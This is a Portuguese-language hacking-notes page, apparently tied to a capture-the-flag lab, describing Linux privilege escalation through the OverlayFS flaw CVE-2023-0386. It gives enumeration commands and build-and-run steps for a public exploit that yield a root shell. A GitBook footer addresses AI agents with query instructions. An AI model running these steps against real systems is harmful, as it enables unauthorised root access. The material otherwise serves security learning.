> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md).

# Exploração do kernel (OverlayFS) - Escalada de privilégios no Linux

## O que é

A escalada de privilégios no kernel tem como alvo vulnerabilidades locais no kernel do Linux ou em patches específicos da distribuição. Esses exploits podem ser instáveis, então a validação da versão e os testes em laboratório são importantes antes da execução. Esta página específica foca em **Exploração de Kernel (OverlayFS)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
uname -a
cat /etc/os-release
lsb_release -a 2>/dev/null
```

## Exemplos

## Escalada de Privilégios OverlayFS CVE-2023-0386

> O OverlayFS permite sobrepor sistemas de arquivos. Em algumas versões do kernel Linux, o gerenciamento inadequado de capacidades permite que um usuário sem privilégios execute código com **privilégios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Etapas da operação**

1. **Clonar o exploit** a partir da nossa máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transfira os** arquivos compilados para a máquina-alvo (`scp`, `python -m http.server` etc.).

<figure><img src="/files/0271e966de4a1998dee596eb97978310829bef69" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/db3e960708a8a322fda73d8d96f366197c131742" alt=""><figcaption></figcaption></figure>

2. **Na máquina-alvo**, execute em **dois terminais**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Se tudo correr bem, obtemos um shell **root**

<figure><img src="/files/fd52833436be07c2eddaaee45f33720bfbdec291" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b2392d600a6a5026df69cb9cfe4272da6bf86d5c" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/overlayfs-kernel-exploit-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
